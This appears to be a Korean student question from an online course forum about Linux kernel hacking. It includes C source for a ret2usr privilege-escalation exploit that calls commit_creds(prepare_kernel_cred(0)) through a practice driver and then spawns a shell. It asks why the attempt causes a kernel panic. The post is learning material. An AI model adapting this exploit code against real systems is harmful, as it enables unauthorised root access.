inflearn logo
강의

강의

N
챌린지

챌린지

멘토링

멘토링

N
클립

클립

로드맵

로드맵

지식공유

묻고 답해요

173만명의 커뮤니티!! 함께 토론해봐요.

ret2usr 기법 관련 질문있습니다.

미해결

리눅스 커널 해킹. A부터 Z까지

안녕하세요. ret2usr 실습을 해보다가 궁금한 점이 생겨서 질문드립니다. /* gcc -masm=intel -static -o test_exp test_exp.c -no-pie */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdint.h> unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); void payload(void) { commit_creds(prepare_kernel_cred(0)); execl("/bin/sh", "sh", NULL); } int main() { int fd; void *ptr = 0; commit_creds = 0xffffffff8108e9f0; prepare_kernel_cred = 0xffffffff8108ec20; fd = open("/dev/test", O_RDWR); ptr = &payload; printf("Shell executing...\n"); write(fd, &ptr, sizeof(ptr)); close(fd); printf("Shell executed?\n"); return 0; } payload함수의 주소를 넘겨주고, 이걸 커널에서 fp_exec() 로 실행할 수 있으니, 위의 코드처럼 그냥 shell 함수를 commit_creds(prepare_kernel_cred(0)) 이후에 execl 을 하도록 수정한 뒤, test 드라이버에 shell 함수의 주소를 넘겨서 테스트해보았습니다. 결과적으로는 커널 패닉이 났고, gdb 로 어느정도 디버깅을 해보았지만 심볼이 없다보니 정확히 어느 부분에서 패닉이 나는지 찾기 어렵더라구요. 그래서 커널 모드에서 유저 모드로의 전환없이 execv 시스템콜을 호출하려고 해서 패닉이 났을거라고 추측은 해봤는데, 이 추측이 맞은 것인지 궁금합니다.

  • ret2usr
  • 모의해킹
  • linux
  • 시스템 해킹
정재영 댓글 1 좋아요 0 조회수 348

인기 태그

인프런 TOP Writers

주간 인기글